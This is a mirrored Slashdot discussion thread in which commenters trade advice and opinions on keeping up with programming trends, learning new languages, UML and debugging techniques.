Slashdot Mirror


Staying On-Top of Programming Trends?

GhettoPeanut asks: "Trends are constantly changing, upgrading, or become popular due to high end user demand or just basic usefulness. I do my best to keep up with the trends, believing that for the most part they will be better then the current methods in place, or just comfort in knowing that if enough people use it, that there will be allot of help out there. Ultimately though, its keeping up with these trends and trying to figure out what's a fad versus what's actually useful that's the difficult part. What do some of you do to keep up with the trends? Websites? Magazines such as Dr. Dobbs? Forums? I know there's not one solve all, but for the sake of argument, suppose you wanted to stay on the forefront of Java based web development, what would you do?"

191 comments

  1. Well... by packetmon · · Score: 2, Funny

    suppose you wanted to stay on the forefront of Java based web development, what would you do? I'd make sure I worked near a Starbucks that never closed while I worked on my Geocities website. Java owns you

    1. Re:Well... by Anonymous Coward · · Score: 0

      Perhaps these folks can help you.

  2. Why... by Anonymous Coward · · Score: 0

    Read Slashdot of course!

  3. Four things: by Avillia · · Score: 5, Informative

    1. Other programmers I know in various fields. I happen to know quite a few.
    2. The plethora of content Sun, Java, MySQL, Microsoft, Oracle, and many other high-profile "framework sponsors" push out on various developer networks, such as MSDN, DevZone, OTN...
    3. Whatever the hell O'Reilly is making books about.
    4. Seminars and conventions, often made/endorsed/branded by computer publishers such as O'Reilly and aforementioned "framework sponsors".

    1. Re:Four things: by numbski · · Score: 1

      Definitely not slashdot, and definitely not the submitter.

      Here's the deal:

      "better then current methods..."

      Hrrm. The guy is a programmer, right?

      Now, would you hire a coder that doesn't know the difference between and "if, then, else" and "greater THAN" "less THAN" "less THAN or equal to"? :D

      Sorry, I had to do it. He's making a comparison that he probably does all day coding, and would have failed it.

      You fail it man, you fail it. ;)

      --

      Karma: Chameleon (mostly due to the fact that you come and go).

  4. Recommendation: by Black+Parrot · · Score: 4, Funny

    I've really enjoyed 1001 Buzzwords for the Entry-Level Programmer.

    --
    Sheesh, evil *and* a jerk. -- Jade
  5. Ignore them... by ResidntGeek · · Score: 4, Insightful

    This isn't what you asked, but you shouldn't follow trends, you'll just end up with a little knowledge of everything. Just concentrate on C or C++ for *NIX (or something similarly consistent) and you'll eventually be a guru, able to do anything you wish with it.

    --
    ResidntGeek
    1. Re:Ignore them... by SeeMyNuts! · · Score: 3, Interesting

      "Just concentrate on C or C++ for *NIX (or something similarly consistent) and you'll eventually be a guru, able to do anything you wish with it."

      See, here's a problem. Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say. This is where this "Ask Slashdot" is coming from--an idealized mindset leading to severe programming attention deficit disorder.

      When I was a programmer full time, I tried to ignore the covers of magazines, knowing that it's just hyped up B.S. However, my co-workers would be drooling over whatever Java database framework was released that week (everyone and their uncle was writing Java frameworks!!!) and end up with some twisted mess of undocumented APIs and un-debuggable problems. It was awful. Couple that with high turnover and whole projects would just get flushed and re-done from scratch (again, done badly...perhaps they found a real money tree and didn't tell us?).

      Oh, and trash the UML! Simultaneously with writing terrible software, everyone was on some sort of UML pilgramage to Software Engineer Paradise somewhere. Barf!

      I would have been in programmer heaven to just do it all in C and /bin/sh, if only to have a platform that someone on this earth documented and understood without v0.00001 APIs and pretty UML pictures that meant absolutely nothing without minutes of explaining.

    2. Re:Ignore them... by nbehary · · Score: 1

      You say:

      "Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say."

      and then:

      "I would have been in programmer heaven to just do it all in C and /bin/sh, if only to have a platform that someone on this earth documented and understood without v0.00001 APIs and pretty UML pictures that meant absolutely nothing without minutes of explaining."

      Do you not see that those statements kinda contradict each other? I program in JOVIAL, on an IBM 4/PI (360 mainframe if you want to make it simple)......I never finished my CS degree, but I know enough that they are right. C and /bin/sh would be cool, but so is any language. They all have their faults, but in the end it doesn't matter. Real programmers don't care. (and don't eat quiche). The concepts ARE everything.

      (I agree with you about UML though...)

    3. Re:Ignore them... by mrchaotica · · Score: 3, Informative
      Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say.

      Actually, it's not a lie. I'm a CS undergrad at GA Tech, and from classes I have experience in Scheme, Java, C (with UNIX), and Smalltalk. Anyway, I got a job this summer programming in a C++ .NET and ObjectARX environment using Visual Studio, even though I had absolutely zero prior experience with any of it.

      Long story short, it took me about a week to figure it all out. It was cake.

      They're planning to migrate their whole program to C# soon; I figure learning that language will take me about a day and a half.

      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

    4. Re:Ignore them... by mcpkaaos · · Score: 1
      and pretty UML pictures that meant absolutely nothing without minutes of explaining.


      Had you taken the time to learn UML you could have just read them.
      --
      It goes from God, to Jerry, to me.
    5. Re:Ignore them... by Anonymous Coward · · Score: 0

      "I'm a CS undergrad at GA Tech"

      "Long story short, it took me about a week to figure it all out. It was cake."

      Everything is cake when you are an undergrad, and one week's or even one summer's experience with C++ and .NET is just scratching the surface. The C++ specification book (Stroustrup) is a thousand pages and very densly written. .NET is enormous and also takes a year to years to master. The best thing you can do during the summer job is learn from the more experienced people working there (their methods, working with the customer/management, etc.). The programming aspects of the job mainly just bolster the buzzwords on your next resume and provide talking points during interviews.

    6. Re:Ignore them... by SeeMyNuts! · · Score: 1

      "Do you not see that those statements kinda contradict each other?"

      I guess in my mind they don't contradict. My main complaint about the message given by the instructors is that it tends to trivialize the extent of learning a new language. It isn't just syntax and program flow, but standard libraries, other libraries, nuances of the OS, compiler, and other tools, holes in documentation, varying vendor support, etc. There is no way to just jump from one language to another, IMO, and maintain the same level of competence. For example, I would be lost on an IBM mainframe without at least a few months or more of experience learning the ins and outs of the OS, what services it provides for the programming environment, etc. Perhaps the hardest thing is learning how to debug effectively. Most college-level programmers debug exclusively with printf() or equivalent--not particularly useful in many situations.

      It took me years to glean all the little tidbits about UNIX that allow me to write efficient shell scripts that use everything from filesystem FIFOs and pipes to sed and awk regular expression hacks to debugging with the OS' utilities and so forth. These things can all also be done in Java, but it takes a little more than a few days to really put it all together.

    7. Re:Ignore them... by Anonymous Coward · · Score: 0

      "Had you taken the time to learn UML you could have just read them."

      LOL, UML is like C++ for diagramming.

    8. Re:Ignore them... by illuminatedwax · · Score: 3, Insightful
      The C++ specification book (Stroustrup) is a thousand pages and very densly written.

      And contains tons of stuff which is meaningless to memorize. .NET is the same way, too. Who needs to know all of the subclasses and methods of some obscure function? If you know the general concepts of how computers work, you can apply it to anything, leaving the specifics in the manual when you need them. Having the concepts means you know where to look.

      "I say now, as I said then, that a man should keep his little brain-attic stocked with all the furniture that he is likely to use, and the rest he can put away in the lumber-room of his library, where he can get it if he wants it. --Sherlock Holmes
      --
      Did you ever notice that *nix doesn't even cover Linux?
    9. Re:Ignore them... by Baddas · · Score: 1

      God, I wish teachers understood that.

      I had a database class that the teacher wanted picture perfect examples as homework. In other words, "Write this query, have it print out the output, and hand in a screenshot with your query"

      I tried to explain that if it was in the book, then someone already knew how to do it, and therefore my time was being wasted, but unfortunately, that didn't go over so well.

      Now, I have no degree, but I do have a fairly decent job NOT reinventing the wheel.

    10. Re:Ignore them... by LukeRazor · · Score: 1
      Nothing helps me more when I'm analysing a complex business workflow than a UML Sequence diagram.

      Not Sure about object lifetimes? Draw yourself an UML Activity Diagram it will all become clear.

      And god knows I'm glad I drew up the UML Sequence diagrams and Class diagrams after the last product release when I get asked to update it 6 months later. A picture is worth a thousand words of spec and analysis.

      (Use cases "diagrams" are a waste of time though)

    11. Re:Ignore them... by mcpkaaos · · Score: 1
      UML is like C++ for diagramming.


      That is a problem to a programmer? In any case, UML is hardly that complicated. All it takes to obtain a basic understanding of class diagrams, for example, is a couple of hours reading "UML Distilled" or various sources freely available via Google. Having a simple (yes, simple), graphical way to explain objects and relationships is well worth the investment. It's like design patterns. Sure, you don't need to know them, but it sure makes things a lot simpler when you do.
      --
      It goes from God, to Jerry, to me.
    12. Re:Ignore them... by (1+-sqrt(5))*(2**-1) · · Score: 1
      Most college-level programmers debug exclusively with printf() or equivalent--not particularly useful in many situations.
      Which situations might those be: concurrent programming? It's difficult to think offhand of any situations unmasterable by the venerable printf.
    13. Re:Ignore them... by Fulcrum+of+Evil · · Score: 1

      I tried to explain that if it was in the book, then someone already knew how to do it, and therefore my time was being wasted, but unfortunately, that didn't go over so well.

      It's a class - of course somebody's already done it. Unless you're in a special topics course or dealing with actual research, then it's probably prepackaged. I can't really explain the screenshot nonsense, save to wonder if that's an anti cheating tactic.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    14. Re:Ignore them... by Anonymous Coward · · Score: 0

      I can't really explain the screenshot nonsense, save to wonder if that's an anti cheating tactic.

      This in a programming class? Please tell me you're kidding or posting drunk or stoned?

    15. Re:Ignore them... by Gulthek · · Score: 1
      You know, *AA includes the AAA, and I don't think they've been bringing too many lawsuits against filesharers...
      So [RI]|[MP]AA.
      Or \w{2}A{2}
    16. Re:Ignore them... by SillyNickName4me · · Score: 1

      Which situations might those be: concurrent programming? It's difficult to think offhand of any situations unmasterable by the venerable printf.

      It really goes well when the output of your program is used as the input of another program...

    17. Re:Ignore them... by JohnFluxx · · Score: 4, Funny

      Tell me about it. At my school they tried to get me to learn how to add two numbers together! I tried to explain that a calculator can do it, and therefore my time was being wasted in learning, but unfortunately that didn't go over so well.

      Now, I have no school education, but I do have a fairly decent job NOT reinventing the wheel.

    18. Re:Ignore them... by Doctor+Memory · · Score: 1
      Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie


      Nope. I never finished college (got "hired out" my junior year), but I took all the fundamental CS courses (data structures, language design and implementation, discrete math) and I haven't had a problem picking up a new language or paradigm in the last twenty years. I went from C/Unix to 4GL/Unix to C/VMS to 4GL (a different one)/VMS to assembler(6809 & PDP-11)/bare metal+RT-11 to YA4GL/Windows to VB/Windows to Java/Windows to Java/Unix. Now I work for a company that has to integrate with lots of different systems (PeopleSoft, Java, .NET, RPG-III using Oracle/DB2/SQL Server/Sybase/Informix), writing interfaces between their systems and ours (which is based on Lotus Domino).

      In response to the original question, you should be able to find a "support group" of some sort out on the internet. See if there's a Usenet newsgroup or a Yahoo discussion group for your target technology. Lots of times vendors will have forums on their websites to discuss their technology (great if you want to keep up with Oracle or Java). Sourceforge will also have discussion groups for projects, and you can often find pointers in those threads to larger forums. There may also be a portal site (like TheServerSide.com for Java) that aggregates press releases and book/article reviews. The real problem I have isn't finding the information, it's finding the time to read and evaluate it all. My computer at home is like a cyber-garage: half-finished projects shoved into every available corner, tech examples and prototypes hanging from the rafters, random tools jumbled all over...

      Short answer: get busy. Keeping current can be a full-time job in and of itself if you want.
      --
      Just junk food for thought...
    19. Re:Ignore them... by KFK2 · · Score: 1

      Thats why you use fprintf to a log file.. or just stderr

    20. Re:Ignore them... by Anonymous Coward · · Score: 0


      If there are multiple processes and/or threads, print statements won't tell you which one is using 99% of the CPU or which one is deadlocked or which one is leaking memory or tell you where the stack pointer got misaligned, etc. That is what a debugger and other tracing tools do well.

    21. Re:Ignore them... by Richard+Steiner · · Score: 1
      The concepts ARE everything.

      This is absolutely true, at least for the most part. However, it becomes false when you find yourself out of work; at that point experience with specific languages/platforms/tools and business methods become absolutely critical and general CompSci experience/concepts tend to mean very little (in terms of getting an interview, anyway).

      --
      Mainframe/UNIX Bit Twiddler and long time Windows/Linux Hobbyist.
      The Theorem Theorem: If If, Then Then.
    22. Re:Ignore them... by Richard+Steiner · · Score: 1

      Some systems *only* have printf equivalents available. It's nice to learn that method of debugging because it's the lowest common denominator -- not all environments have IDEs and debuggers available.

      I would think printf statements might be problematic when trying to debug timing window issues or certain types of reentrancy errors (where changing the size of the executable or altering/extending code execution paths could impact the problem itself), but those tend to be fairly uncommon situations.

      --
      Mainframe/UNIX Bit Twiddler and long time Windows/Linux Hobbyist.
      The Theorem Theorem: If If, Then Then.
    23. Re:Ignore them... by Dan+Ost · · Score: 1

      And that's why the gods created stderr.

      Send stdout to other programs, send stderr to the human/log.

      Simple, yet powerful.

      --

      *sigh* back to work...
    24. Re:Ignore them... by SillyNickName4me · · Score: 1

      Send stdout to other programs, send stderr to the human/log.

      Sure, and when you are at it, use a different level or logging facility for your debug log, and make it runtime configurable etc...

      In other words, yes, you can debug using simple printf, and as you say, you can do better when sending its output to a seperate file of stderr, the point was that simple, straightforward printf() may work but quickly becomes unusable due to its output getting mixed with other output (regardless of using stdout or err, just moves the problem somehwere else), and a slightly more 'advanced' setup will do a much better job at it.

    25. Re:Ignore them... by akuzi · · Score: 1

      > Actually, it's not a lie. I'm a CS undergrad at GA Tech,
      > ...
      > They're planning to migrate their whole program to C# soon; I figure learning
      > that language will take me about a day and a half.

      It depends what you mean by 'learning the language' ;)

      Sure C# is not a difficult language (like Java, most of the complexity is in the APIs), and maybe you can read and understand a C# reference book in a day and a half, but I doubt you will have internalised it to the point where you are not having to constantly look stuff up.

    26. Re:Ignore them... by Jerry+Coffin · · Score: 3, Insightful
      Everything is cake when you are an undergrad, and one week's or even one summer's experience with C++ and .NET is just scratching the surface. The C++ specification book (Stroustrup) is a thousand pages and very densly written. .NET is enormous and also takes a year to years to master. The best thing you can do during the summer job is learn from the more experienced people working there (their methods, working with the customer/management, etc.). The programming aspects of the job mainly just bolster the buzzwords on your next resume and provide talking points during interviews.

      While you make some good points, you also have a couple of mistakes there. First of all, it's been quite a while since any of Stroustrop's books was really the C++ spec. Anymore, the spec. is the 2003 edition of the C++ standard (aka ISO 14882), and before that it was the 1998 edition of the same. Oh, and FWIW, while it's certainly densely written, it's less than 800 pages long. :-)

      .NET is huge, but that's not necessarily very closely related to the time it'll take to master it. In fact, I'd almost go so far as to say that .NET simply isn't oriented toward toward what I would normally consider real mastery. At least from my viewpoint, it's a rather "flat" library -- very large, but not a lot of real depth. Most of the functions just "do what they do", and that's the end of it. To a large extent, "mastery" is mostly a matter of sufficient familiarity that you can quickly find the functions you want/need at any given time.

      That's a direct contrast to, for example, the Boost Library or the Loki Library, which are a lot smaller, but a whole lot deeper. Here much of mastery is simply wrapping your head around some of the concepts involved. A few people accustomed to Lisp, Scheme, Ocaml, etc., may already be accustomed to some of them, but most typical programmer have never even considered doing the kinds of things it covers (and even the Lisp crowd is likely to find a fair amount of it somewhat challenging as well).

      To put that contrast a bit differently: if you were accustomed to Java (for example), using .NET would mostly mean learning different names for classes and member functions, but the classes and member functions would still be on the same order as you were used to (a bit cleaner in some places, a bit grungier in others, but ultimately the same general kind of thing). By constrast, either Boost or Loki is much more likely to cause fundamental alterations in how you think about and solve your problems.

      --
      The universe is a figment of its own imagination.
    27. Re:Ignore them... by 1iar_parad0x · · Score: 2, Insightful

      It's not hard to pick up a book/documentation on a new langauage and start writing code. However, it is difficult to design an application effectively without knowing something about the language. Could I design a large scale C++ app effectively if I were a Java or Perl guru? Would you want some crusty old engineer with years of embedded systems experience and C++ skills designing a large scale J2EE database app. You take for granted the complexities of the software engineering process when your part of a team. Incidentally, if you think you can tackle a small project with a new language and not make some mistakes, you're only kidding yourself.

      --
      What do you mean my sig is repetitive? What do you mean my sig is repetitive? What do you mean....
    28. Re:Ignore them... by marcosdumay · · Score: 1

      "Oh, and trash the UML! Simultaneously with writing terrible software, everyone was on some sort of UML pilgramage to Software Engineer Paradise somewhere. Barf!"

      Please, if you want to trash something, trash the conventional software engeneering. UML is just a language (a graphical one), and a very useful and powerful language. You can trash the metodologies, but UML has nothing to do with them.

    29. Re:Ignore them... by mrchaotica · · Score: 1

      Technically, it should really be [RIA]|[MPA]|[BS]A.

      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

    30. Re:Ignore them... by Anonymous Coward · · Score: 0

      The Stroustrup book is a reference text...not a teaching text. You arent ment to memorize it, you look at it if you have a problem you dont understand.

    31. Re:Ignore them... by Pootie+Tang · · Score: 1

      I'm not sure I agree with you. The original post said "pick up any language/platform as if it's nothing at all" and you said that it took you "about a week to figure it all out". If the underlying concepts were all that mattered you wouldn't have lost a week learning the new language. I don't think the original post was implying concepts are useless (quite the opposite), but that it's not trivial to switch to the latest thing and might be for no gain. The way the original post was worded was a bit exaggerated (it's not so much a "lie" as an over simplification).

      Bear in mind that you are an undergrad with a summer programming gig under your belt. It sounds to me like you aren't really all that proficient with any language. As such it's easy to attain the same level of proficiency in a new language. I think if you knew (as an example) java so in depth as to pass the Sun Certified Java Programmer test, you wouldn't be able to reach the same level of detail in C++ .NET in a week.

      This isn't a slam on you personally. It's quite common and especially prevelant among younger and less experienced people. The more you learn, the more you realize how little you knew before. It's not cake to learn a new language unless "learn" means "I can do a hello world in that too".

      Keep learning the priciples and keep getting exposure to new things. It's good. But eventually you are going to reach a point where learning a little bit about something new isn't going to significantly increase your productivity, just waste a bit of time and distract away from what's important. And I've worked with some people who are pretty much full-time distractions.

      The original post mentioned UML as an example. I think it's a good one in a sense. Knowing *HOW* to do UML doesn't help much (though UML can be learned quickly). I've seen plenty of UML that didn't express anything useful. All the while the person explaining was sure his half-assed ideas were good, because people with good ideas can express them with UML and he was using UML himself, so it must be good. UML is also a good example of what you're talking about though. Solid understanding of design can be expressed equally well in UML or some other format if you really have a solid understanding. That understanding is hard to get, learning a new way to express it is not.

      And therein lies the question submitted to slashdot. If there's this UML thing or some new framework or some new language you've heard about, how do you know whether it's just another rehash of something you've already got a reasonable solution for (i.e. hype) or is it really something useful that's going to be worth the time to learn? Would you be better off spending your time gaining additionally proficiency with your current framework? I've met plenty of bad programmers who think a new technology will solve their problems, when what they really need is a deeper understanding. I think that was basically what the original post was trying to say, but went a bit far with "ignore them".

      New technologies do provide real benefits sometimes, but it's hard to know until AFTER you've spent the time to learn them. And you need to have a decent understanding of the technology you are trying to replace or even after learning the new one, you still won't know if it was worth it.

      I don't think there's a magic bullet answer, but there are some good ideas in this thread. And "ignore it" actually has some merit, though it wasn't explained clearly. The best answer I can give is finding good people who have enough experience, understanding and pragmatism to have a solid debate with.

    32. Re:Ignore them... by Zwack · · Score: 3, Interesting

      And you think that you are joking...

      In my Undergraduate Physics course (My first degree) my calculator broke just before class one day. Half way through the class the guy sitting next to me realised that I was only six questions into the problems we were doing when he was on question twelve. This is because I was doing all of the long divisions (six plus digit numbers) by hand while he was using a calculator. He was surpirsed that anyone could even do that...

      Z,

      --
      -- Under/Overrated is meta-moderation, and therefore is Redundant.
    33. Re:Ignore them... by Zwack · · Score: 1

      Or use a real, real-time debugger....

      that allows you to stick your "printf" in where you want it when you want it rather than having to add another printf and recompile and re-run...

      But your break points in where you think the problem is, run it up to the break point... examine variables and make sure that they make sense, then step through from there...

      Much simpler.

      Yes, printf has it's place... it's quick and dirty, but a proper debugger is much more powerful.

      Z.

      --
      -- Under/Overrated is meta-moderation, and therefore is Redundant.
    34. Re:Ignore them... by triso · · Score: 1
      Had you taken the time to learn UML you could have just read them.
      Only if they were written correctly and kept up to date with the actual code.
    35. Re:Ignore them... by readin · · Score: 3, Insightful

      The problem with this approach is that you can't look up what you don't know is in the book. You may know enough .NET to do your job, you can code anything you need to, and if you suspect something already exists you can look it up. But what about the code that's been written that you don't know exists? One of the advantages of great experience with a language is that you already know that certain things are available. Another advantage is not having to take time out to read up on something because you haven't used it before. Hand in hand with that is already knowing the quirks and crannies that someone who just skims the documentation may miss or that may not be documented at all.

      --
      I often don't like the choices people make, but I like the fact that people make choices. That's why I'm a conservative.
    36. Re:Ignore them... by mcpkaaos · · Score: 1

      Well, that's not exactly UML's fault.

      --
      It goes from God, to Jerry, to me.
    37. Re:Ignore them... by Baddas · · Score: 1

      My point is, in a class about database design, queries, and optimization, give us a dataset and let us create a database and query it ourselves.

      She had us do everything verbatim from the book, down to the variable names.

      It's not like the times tables where innovation is a bad thing. It's more like a higher math course, where proofs can and do differ, and you should recieve more credit based on the elegance of your answers, as well as their correctness.

    38. Re:Ignore them... by Baddas · · Score: 1

      The worst part was, in her class, there was no way to determine if people were cheating (many did, trust me), as she was requesting picture-perfect source and output.

      In other words, if you added a linebreak, that was zero credit. Basically, before every class we all ran a unified diff of our assignments and if there were any differences, we reconciled them.

      Madness. And this is in a 200-level class that ostensibly teaches design and higher thinking (on oracle, no less), not the 100-level Access-for-dummies course.

    39. Re:Ignore them... by illuminatedwax · · Score: 1

      You're right, you'll certainly be faster. But you'll be very specialized, and what happens when COBOL/Java/PHP/whatever goes out of favor in how many years? Better to know how to psuedocode and use manuals for reference.

      As for other code out there that's already been written, I hear they made a service that will search the Internet for you. Giggle or something. You should google for it.

      --
      Did you ever notice that *nix doesn't even cover Linux?
    40. Re:Ignore them... by angel'o'sphere · · Score: 1

      and pretty UML pictures that meant absolutely nothing without minutes of explaining.

      If that is the case in your environment, fire the UML painter.

      OTOH I as well often see: and pretty formatted source code that meant absolutely nothing without minutes of explaining.

      So what is the difference? You claim you can code? then you should love UML ... ppl who cant cope with UML are no coders, just like engineers that cant cope with schematics are no engineers.

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
    41. Re:Ignore them... by angel'o'sphere · · Score: 1

      Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, Hu?

      So you memorize everything individually without realizing the underlying common principles? No wonder you cant pick up new stuff easy and fast then ...

      ... I tried to ignore the covers of magazines, ... Depends on the quallity of the magazine. I'm reading 50% of my spare time. I read everything, and if its work related I only glance through/over it, as I have a broad understanding I realize imediatly if its the same stuff/trash in new colours or not. And as soon as in the middle of the same trash (e.g. just another Java data base framework) shows up some new ideas (a new principle, or an well known principle applied in a surprising way) I read the complete article again, slow and carefully.

      For the submitter: getting a clue what other ppl do different, and why, and what/how they benefit from it, thats enough to stay at the front of the shockwave.

      angel'o'sphere

      --
      Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
    42. Re:Ignore them... by Anonymous Coward · · Score: 0, Insightful

      Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say.

      They actually aren't lying, although they might not be teaching principles as effectively as they could.

      Alan Perlis once said that any programming language which doesn't change the way you think, even a little bit, isn't worth knowing. Most languages fall into this category: assembler, C, C++, Lisp, Scheme, ML, Perl, Smalltalk, etc. But I've talked to a number of people who learned Java after learning another object-oriented language, and not one of them thought that Java changed the way they think.

      Java is a very useful language, as much as I personally dislike it. Its biggest theoretical weakness (the fact that the module system is conflated with the object system) is also one of its biggest practical strengths, since it localizes any problems which mediocre programmers could cause.

      But this also makes Java a terrible language for teaching the principles of object-orientation. I can't tell you the number of people I've talked to who are convinced that encapsulation is by far the biggest benefit of OOP. I've tried to explain to them that there are certain things you can do in five minutes in object-oriented languages, like having run-time polymorphism, that would take you weeks to write and troubleshoot in C (although I hope that no one in their right mind would try to roll their own vtables anymore). Even C lets you do encapsulation -- you just declare "public methods" in the header file -- but C clearly isn't an object-oriented language, is it? Alas.

      But anyway, my point is this: If the only language you ever learn in school is Java, learning additional languages will take a lot of work. But if you learn (like we do at Brown) Scheme, then ML, then Java, then C and C++, and then take a course where you write a fair number of programming languages yourself, you will be well equipped to learn whatever you need to. Yes, some schools pretend they're teaching "principles" when they're really teaching Java, but that's the fault of the school, not the idea.

      Side note: If you really think that using C for everything will make it easy for people to understand your code, then you might want to come out from underneath your rock. There have been a huge number of advanced in programming languages in the 30 years since C first came out. For one, OOP is actually useful for many problems (again, you don't actually write your own vtables, do you?). Also, consider a language like Python. Not only does it support first-class vectors and hashtables, but it supports list comprehensions:


      >>> [x**2 for x in range(100) if x**2 in range(100)]
      [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]


      I would call that clear, wouldn't you? The equivalent function in C (and I apologize if my syntax is wrong) would take significantly longer, especially considering you'd have to include a list library.

      C may be simple, but that doesn't mean code you've written in it is easy to understand.

    43. Re:Ignore them... by Wavicle · · Score: 1

      What's a real-time debugger? Do you mean a debugger with edit and continue support? If so I find your use of "real-time" somewhat ironic because there are classes of bugs that only show up when run with real time constraints (e.g. a race condition) and are pretty nearly undebuggable when you're trying to single step through.

      --
      Education is a better safeguard of liberty than a standing army.
      Edward Everett (1794 - 1865)
    44. Re:Ignore them... by Wavicle · · Score: 1

      oh, if only this weren't so true. Just before the dot-com bust, I was the only person willing to take on a particularly complex, particularly arcane interface our software needed to support. Management chose me for this because I had a track record of taking on difficult problems and making something useful.

      The problem was that while I was off working my ass off on this truly hard stuff, the whole EJB thing sort of came up with little notice on my part. After the dot-com bust I found myself in a very uncomfortable spot trying to convince HR departments (not technical guys) that they should let their technical people interview me even though I hadn't actually done EJB on my last project.

      A solid foundation in Computer Science is highly valuable once hired, and useless before then.

      --
      Education is a better safeguard of liberty than a standing army.
      Edward Everett (1794 - 1865)
    45. Re:Ignore them... by nyteroot · · Score: 1
      I would think printf statements might be problematic when trying to debug timing window issues or certain types of reentrancy errors (where changing the size of the executable or altering/extending code execution paths could impact the problem itself), but those tend to be fairly uncommon situations.


      Ih, how I wish that were true..
      Yet EVERY bug I encounter seems to be of this variety.
      --
      Ratio of replies to old sig content : replies to actual post content > 0.5. Sig changed.
    46. Re:Ignore them... by http · · Score: 1
      You said,
      Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say.
      How is it a lie? I'm not saying it isn't, but I watched this approach take about 60 eager newbies (one of them me) through 12 languages in 8 months, and about 3/4 of us "got it". All that passed were able to learn a new language in a week. Not at a guru level, but at a working level, able to function in real-world environments. I blame my success on the mandatory course in language design, which studied NO language in depth, but concentrated on principles. BNF, binding times, lifetime, compiler considerations.
      Judging from my time there, it wasn't an isolated incident.
      www.cs.camosun.bc.ca
      --
      If opportunity came disguised as temptation, one knock would be enough.
      3^2 * 67^1 * 977^1
    47. Re:Ignore them... by Eivind+Eklund · · Score: 1
      Actually, it's at least half a lie, and you've just not programmed enough to know it. Come back in 10, maybe 15 years.

      The point is that it takes time to learn how to do idiomatic programming in a language. There's all manner of care that a craftsperson that's used the language for a year or five will do that a beginner won't do. The beginner will not see these aspects of the craft, and think that he's good.

      Eivind.

      --
      Doubting the existence of evolution is like doubting the existence of China: It just shows that you're uninformed.
    48. Re:Ignore them... by paulxnuke · · Score: 1
      Anyway, I got a job this summer programming in a C++ .NET and ObjectARX [autodesk.com] environment using Visual Studio,

      Long story short, it took me about a week to figure it all out. It was cake.

      Next time, try learning Haskell. Shouldn't take you more than day or two, and I'll spot you Arrows. I'd have said Common Lisp if you hadn't already studied Scheme.

      If you really think you "figured out" C++ well enough to be paid for it in a week (based on classes in C, Java, and SmallTalk), heaven help your users and maintainers.

      For a C++ person, learning C# is about a day and a half job: mostly memorizing a few new constructs and forcing yourself to be sloppy. Of course, doing anything interesting in C#, like Java, requires learning its framework, and I doubt you can even read that in a day and a half.

    49. Re:Ignore them... by palantir0 · · Score: 1
      You may not be among these people but those that claim they picked up something in a week typically haven't even touched the surface of true understanding. I've programmed in more languages than I can count but I am only fluent in a few. Just because I can produce a program to do X doesn't mean I understand or do it well. There is a huge difference between the two and those that haven't mastered one don't have something in which to compare.

      I believe it is best to master one language while practicing all those fundamentals learned. Frameworks are great but like one reader posted, it's tiring to see all the v00001 frameworks as the next wonder child that will solve all our problems.

      Cheers

    50. Re:Ignore them... by tambo · · Score: 1
      Or \w{2}A{2}

      Heh. You do realize that A{2} is longer, harder to parse, and more lexically obfuscated than just using AA?

      Lemme guess... you love Perl, don't you? ;)

      - David Stein

      --
      Computer over. Virus = very yes.
    51. Re:Ignore them... by Zwack · · Score: 1

      Yes, and there are bugs that disappear when you recompile your code with debugging turned on.

      I meant a debugger that allows you to examine your code in real time rather than having to insert a printf, recompile, run, and repeat...

      I'm sorry if I wasn't clear enough for you.

      Z.

      --
      -- Under/Overrated is meta-moderation, and therefore is Redundant.
    52. Re:Ignore them... by Wavicle · · Score: 1

      Yes, and there are bugs that disappear when you recompile your code with debugging turned on.

      And an example of that would be? (Oh, I know they exist, I just want to see an implication that a single stepping debugger is going to be more successful with it than logging.)

      You're still mixing your debugging tech. Breakpoints, single step, memory inspection and source view are completely separate issues from edit and continue. Examining your code in real-time would mean watching a million lines per second fly by.

      --
      Education is a better safeguard of liberty than a standing army.
      Edward Everett (1794 - 1865)
    53. Re:Ignore them... by gnuLNX · · Score: 1

      What a crock of crap. So all programmers prior to UML were bad? UML is nothing more than a schematic for quickly discusing ideas...every good team will come up with their own any way.

      I spent time learning UML, but the UML nazis put a damper on it. The biggest problem with UML is that it has almost as many rules as a full on progrmaming language now...so what's the point.

      --
      what?
    54. Re:Ignore them... by Richard+Steiner · · Score: 1

      Sounds like you're playing with a mature system. Most of the easy ones are gone. :-)

      --
      Mainframe/UNIX Bit Twiddler and long time Windows/Linux Hobbyist.
      The Theorem Theorem: If If, Then Then.
    55. Re:Ignore them... by jbplou · · Score: 1

      Most CS instructors will cram down students' throats that if they concentrate on principles they can pick up any language/platform as if it's nothing at all. It's a lie, but that's what they say.

      Well its true to a certain extent. I think somebody with a strong object oriented background could move from Java to .Net development or vice versa. But to say an expert COBOL programmer could apply prinicples and pickup PHP easily would be a lie.

      I would say though that somebody is better off concentrating on a few pieces of technology and going down that career path. There is really no value in being an expert COBOL, C, Java, VB, PHP, and PERL programmer who also knows Unix, Linux, FreeBSD, Windows, and OS/400. Besides for the fact it would be almost impossible to keep up on the technologies there is no job that will require you to be an expert in all.

    56. Re:Ignore them... by spammacus · · Score: 1

      To some extent it depends on the language.

      C++, for example, is easy to learn poorly and a bitch to learn well. As soon as I get comfortable with it, I encounter some very strange case that calls into question a lot of what I thought I knew. Then it's back Bjarne Soustrup's incredibly dense book, to re-read a section and obtain a completely different understanding of a construct I have been using for years.

